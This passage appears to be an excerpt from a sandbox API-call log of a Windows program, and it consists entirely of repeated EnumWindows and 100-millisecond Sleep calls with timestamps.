(dwMilliseconds=0x64) [0176.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.914] Sleep (dwMilliseconds=0x64) [0176.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.916] Sleep (dwMilliseconds=0x64) [0176.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.917] Sleep (dwMilliseconds=0x64) [0177.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.029] Sleep (dwMilliseconds=0x64) [0177.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.109] Sleep (dwMilliseconds=0x64) [0177.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.182] Sleep (dwMilliseconds=0x64) [0177.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.184] Sleep (dwMilliseconds=0x64) [0177.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.185] Sleep (dwMilliseconds=0x64) [0177.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.186] Sleep (dwMilliseconds=0x64) [0177.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.189] Sleep (dwMilliseconds=0x64) [0177.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.191] Sleep (dwMilliseconds=0x64) [0177.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.193] Sleep (dwMilliseconds=0x64) [0177.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.195] Sleep (dwMilliseconds=0x64) [0177.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.196] Sleep (dwMilliseconds=0x64) [0177.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.198] Sleep (dwMilliseconds=0x64) [0177.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.199] Sleep (dwMilliseconds=0x64) [0177.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.201] Sleep (dwMilliseconds=0x64) [0177.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.207] Sleep (dwMilliseconds=0x64) [0177.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.208] Sleep (dwMilliseconds=0x64) [0177.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.216] Sleep (dwMilliseconds=0x64) [0177.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.217] Sleep (dwMilliseconds=0x64) [0177.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.232] Sleep (dwMilliseconds=0x64) [0177.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.233] Sleep (dwMilliseconds=0x64) [0177.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.235] Sleep (dwMilliseconds=0x64) [0177.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.237] Sleep (dwMilliseconds=0x64) [0177.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.239] Sleep (dwMilliseconds=0x64) [0177.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.241] Sleep (dwMilliseconds=0x64) [0177.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.312] Sleep (dwMilliseconds=0x64) [0177.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.314] Sleep (dwMilliseconds=0x64) [0177.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.316] Sleep (dwMilliseconds=0x64) [0177.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.317] Sleep (dwMilliseconds=0x64) [0177.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.318] Sleep (dwMilliseconds=0x64) [0177.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.328] Sleep (dwMilliseconds=0x64) [0177.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.329] Sleep (dwMilliseconds=0x64) [0177.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.331] Sleep (dwMilliseconds=0x64) [0177.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.333] Sleep (dwMilliseconds=0x64) [0177.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.334] Sleep (dwMilliseconds=0x64) [0177.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.335] Sleep (dwMilliseconds=0x64) [0177.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.338] Sleep (dwMilliseconds=0x64) [0177.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.339] Sleep (dwMilliseconds=0x64) [0177.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.341] Sleep (dwMilliseconds=0x64) [0177.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.342] Sleep (dwMilliseconds=0x64) [0177.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.344] Sleep (dwMilliseconds=0x64) [0177.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.346] Sleep (dwMilliseconds=0x64) [0177.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.347] Sleep (dwMilliseconds=0x64) [0177.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.349] Sleep (dwMilliseconds=0x64) [0177.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.351] Sleep (dwMilliseconds=0x64) [0177.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.353] Sleep (dwMilliseconds=0x64) [0177.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.354] Sleep (dwMilliseconds=0x64) [0177.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.357] Sleep (dwMilliseconds=0x64) [0177.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.358] Sleep (dwMilliseconds=0x64) [0177.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.359] Sleep (dwMilliseconds=0x64) [0177.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.361] Sleep (dwMilliseconds=0x64) [0177.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.363] Sleep (dwMilliseconds=0x64) [0177.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.368] Sleep (dwMilliseconds=0x64) [0177.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.371] Sleep (dwMilliseconds=0x64) [0177.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.374] Sleep (dwMilliseconds=0x64) [0177.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.376] Sleep (dwMilliseconds=0x64) [0177.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.378] Sleep (dwMilliseconds=0x64) [0177.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.380] Sleep (dwMilliseconds=0x64) [0177.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.381] Sleep (dwMilliseconds=0x64) [0177.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.385] Sleep (dwMilliseconds=0x64) [0177.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.387] Sleep (dwMilliseconds=0x64) [0177.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.389] Sleep (dwMilliseconds=0x64) [0177.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.391] Sleep (dwMilliseconds=0x64) [0177.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.392] Sleep (dwMilliseconds=0x64) [0177.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.394] Sleep (dwMilliseconds=0x64) [0177.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.395] Sleep (dwMilliseconds=0x64) [0177.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.397] Sleep (dwMilliseconds=0x64) [0177.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.399] Sleep (dwMilliseconds=0x64) [0177.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.402] Sleep (dwMilliseconds=0x64) [0177.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.404] Sleep (dwMilliseconds=0x64) [0177.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.405] Sleep (dwMilliseconds=0x64) [0177.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.407] Sleep (dwMilliseconds=0x64) [0177.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.412] Sleep (dwMilliseconds=0x64) [0177.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.445] Sleep (dwMilliseconds=0x64) [0177.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.447] Sleep (dwMilliseconds=0x64) [0177.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.449] Sleep (dwMilliseconds=0x64) [0177.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.450] Sleep (dwMilliseconds=0x64) [0177.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.452] Sleep (dwMilliseconds=0x64) [0177.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.465] Sleep (dwMilliseconds=0x64) [0177.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.467] Sleep (dwMilliseconds=0x64) [0177.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.469] Sleep (dwMilliseconds=0x64) [0177.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.471] Sleep (dwMilliseconds=0x64) [0177.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.473] Sleep (dwMilliseconds=0x64) [0177.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.475] Sleep (dwMilliseconds=0x64) [0177.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.534] Sleep (dwMilliseconds=0x64) [0177.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.536] Sleep (dwMilliseconds=0x64) [0177.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.538] Sleep (dwMilliseconds=0x64) [0177.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.540] Sleep (dwMilliseconds=0x64) [0177.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.543] Sleep (dwMilliseconds=0x64) [0177.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.545] Sleep (dwMilliseconds=0x64) [0177.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.547] Sleep (dwMilliseconds=0x64) [0177.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.549] Sleep (dwMilliseconds=0x64) [0177.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.551] Sleep (dwMilliseconds=0x64) [0177.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.554] Sleep (dwMilliseconds=0x64) [0177.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.556] Sleep (dwMilliseconds=0x64) [0177.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.558] Sleep (dwMilliseconds=0x64) [0177.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.609] Sleep (dwMilliseconds=0x64) [0177.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.611] Sleep (dwMilliseconds=0x64) [0177.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.613] Sleep (dwMilliseconds=0x64) [0177.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.615] Sleep (dwMilliseconds=0x64) [0177.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.616] Sleep (dwMilliseconds=0x64) [0177.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.618] Sleep (dwMilliseconds=0x64) [0177.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.619] Sleep (dwMilliseconds=0x64) [0177.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.621] Sleep (dwMilliseconds=0x64) [0177.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.622] Sleep (dwMilliseconds=0x64) [0177.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.624] Sleep (dwMilliseconds=0x64) [0177.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.625] Sleep (dwMilliseconds=0x64) [0177.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.627] Sleep (dwMilliseconds=0x64) [0177.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.628] Sleep (dwMilliseconds=0x64) [0177.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.630] Sleep (dwMilliseconds=0x64) [0177.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.631] Sleep (dwMilliseconds=0x64) [0177.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.633] Sleep (dwMilliseconds=0x64) [0177.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.635] Sleep (dwMilliseconds=0x64) [0177.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.636] Sleep (dwMilliseconds=0x64) [0177.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.639] Sleep (dwMilliseconds=0x64) [0177.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.641] Sleep (dwMilliseconds=0x64) [0177.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.643] Sleep (dwMilliseconds=0x64) [0177.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.645] Sleep (dwMilliseconds=0x64) [0177.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.647] Sleep (dwMilliseconds=0x64) [0177.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.649] Sleep (dwMilliseconds=0x64) [0177.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.651] Sleep (dwMilliseconds=0x64) [0177.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.652] Sleep (dwMilliseconds=0x64) [0177.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.654] Sleep (dwMilliseconds=0x64) [0177.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.655] Sleep (dwMilliseconds=0x64) [0177.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.657] Sleep (dwMilliseconds=0x64) [0177.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.658] Sleep (dwMilliseconds=0x64) [0177.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.660] Sleep (dwMilliseconds=0x64) [0177.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.662] Sleep (dwMilliseconds=0x64) [0177.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.663] Sleep (dwMilliseconds=0x64) [0177.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.665] Sleep (dwMilliseconds=0x64) [0177.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.666] Sleep (dwMilliseconds=0x64) [0177.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.668] Sleep (dwMilliseconds=0x64) [0177.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.669] Sleep (dwMilliseconds=0x64) [0177.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.671] Sleep (dwMilliseconds=0x64) [0177.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.672] Sleep (dwMilliseconds=0x64) [0177.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.674] Sleep (dwMilliseconds=0x64) [0177.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.675] Sleep (dwMilliseconds=0x64) [0177.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.677] Sleep (dwMilliseconds=0x64) [0177.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.678] Sleep (dwMilliseconds=0x64) [0177.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.680] Sleep (dwMilliseconds=0x64) [0177.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.682] Sleep (dwMilliseconds=0x64) [0177.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.683] Sleep (dwMilliseconds=0x64) [0177.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.685] Sleep (dwMilliseconds=0x64) [0177.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.686] Sleep (dwMilliseconds=0x64) [0177.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.689] Sleep (dwMilliseconds=0x64) [0177.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.690] Sleep (dwMilliseconds=0x64) [0177.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.692] Sleep (dwMilliseconds=0x64) [0177.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.693] Sleep (dwMilliseconds=0x64) [0177.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.695] Sleep (dwMilliseconds=0x64) [0177.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.696] Sleep (dwMilliseconds=0x64) [0177.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.698] Sleep (dwMilliseconds=0x64) [0177.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.699] Sleep (dwMilliseconds=0x64) [0177.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.701] Sleep (dwMilliseconds=0x64) [0177.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.702] Sleep (dwMilliseconds=0x64) [0177.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.704] Sleep (dwMilliseconds=0x64) [0177.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.705] Sleep (dwMilliseconds=0x64) [0177.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.708] Sleep (dwMilliseconds=0x64) [0177.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.710] Sleep (dwMilliseconds=0x64) [0177.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.711] Sleep (dwMilliseconds=0x64) [0177.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.713] Sleep (dwMilliseconds=0x64) [0177.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.714] Sleep (dwMilliseconds=0x64) [0177.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.716] Sleep (dwMilliseconds=0x64) [0177.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.717] Sleep (dwMilliseconds=0x64) [0177.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.719] Sleep (dwMilliseconds=0x64) [0177.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.720] Sleep (dwMilliseconds=0x64) [0177.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.722] Sleep (dwMilliseconds=0x64) [0177.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.723] Sleep (dwMilliseconds=0x64) [0177.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.725] Sleep (dwMilliseconds=0x64) [0177.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.726] Sleep (dwMilliseconds=0x64) [0177.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.727] Sleep (dwMilliseconds=0x64) [0177.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.729] Sleep (dwMilliseconds=0x64) [0177.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.731] Sleep (dwMilliseconds=0x64) [0177.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.732] Sleep (dwMilliseconds=0x64) [0177.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.734] Sleep (dwMilliseconds=0x64) [0177.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.735] Sleep (dwMilliseconds=0x64) [0177.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.737] Sleep (dwMilliseconds=0x64) [0177.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.738] Sleep (dwMilliseconds=0x64) [0177.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.740] Sleep (dwMilliseconds=0x64) [0177.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.741] Sleep (dwMilliseconds=0x64) [0177.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.743] Sleep (dwMilliseconds=0x64) [0177.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.745] Sleep (dwMilliseconds=0x64) [0177.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.747] Sleep (dwMilliseconds=0x64) [0177.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.749] Sleep (dwMilliseconds=0x64) [0177.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.805] Sleep (dwMilliseconds=0x64) [0177.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.807] Sleep (dwMilliseconds=0x64) [0177.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.809] Sleep (dwMilliseconds=0x64) [0177.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.811] Sleep (dwMilliseconds=0x64) [0177.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.813] Sleep (dwMilliseconds=0x64) [0177.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.815] Sleep (dwMilliseconds=0x64) [0177.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.816] Sleep (dwMilliseconds=0x64) [0177.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.819] Sleep (dwMilliseconds=0x64) [0177.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.821] Sleep (dwMilliseconds=0x64) [0177.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.823] Sleep (dwMilliseconds=0x64) [0177.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.824] Sleep (dwMilliseconds=0x64) [0177.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.826] Sleep (dwMilliseconds=0x64) [0177.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.828] Sleep (dwMilliseconds=0x64) [0177.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.829] Sleep (dwMilliseconds=0x64) [0177.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.831] Sleep (dwMilliseconds=0x64) [0177.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.833] Sleep (dwMilliseconds=0x64) [0177.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.834] Sleep (dwMilliseconds=0x64) [0177.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.836] Sleep (dwMilliseconds=0x64) [0177.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.837] Sleep (dwMilliseconds=0x64) [0177.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.839] Sleep (dwMilliseconds=0x64) [0177.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.841] Sleep (dwMilliseconds=0x64) [0177.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.844] Sleep (dwMilliseconds=0x64) [0177.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.845] Sleep (dwMilliseconds=0x64) [0177.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.847] Sleep (dwMilliseconds=0x64) [0177.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.849] Sleep (dwMilliseconds=0x64) [0177.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.851] Sleep (dwMilliseconds=0x64) [0177.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.853] Sleep (dwMilliseconds=0x64) [0177.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.854] Sleep (dwMilliseconds=0x64) [0177.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.856] Sleep (dwMilliseconds=0x64) [0177.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.858] Sleep (dwMilliseconds=0x64) [0177.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.859] Sleep (dwMilliseconds=0x64) [0177.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.861] Sleep (dwMilliseconds=0x64) [0177.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.862] Sleep (dwMilliseconds=0x64) [0177.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.864] Sleep (dwMilliseconds=0x64) [0177.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.865] Sleep (dwMilliseconds=0x64) [0177.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.867] Sleep (dwMilliseconds=0x64) [0177.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.869] Sleep (dwMilliseconds=0x64) [0177.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.871] Sleep (dwMilliseconds=0x64) [0177.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.872] Sleep (dwMilliseconds=0x64) [0177.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.874] Sleep (dwMilliseconds=0x64) [0177.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.875] Sleep (dwMilliseconds=0x64) [0177.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.877] Sleep (dwMilliseconds=0x64) [0177.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.878] Sleep (dwMilliseconds=0x64) [0177.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.880] Sleep (dwMilliseconds=0x64) [0177.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.882] Sleep (dwMilliseconds=0x64) [0177.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.883] Sleep (dwMilliseconds=0x64) [0177.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.885] Sleep (dwMilliseconds=0x64) [0177.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.886] Sleep (dwMilliseconds=0x64) [0177.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.894] Sleep (dwMilliseconds=0x64) [0177.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.897] Sleep (dwMilliseconds=0x64) [0177.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.898] Sleep (dwMilliseconds=0x64) [0177.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.899] Sleep (dwMilliseconds=0x64) [0177.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.901] Sleep (dwMilliseconds=0x64) [0177.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.902] Sleep (dwMilliseconds=0x64) [0177.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.904] Sleep (dwMilliseconds=0x64) [0177.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.907] Sleep (dwMilliseconds=0x64) [0177.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 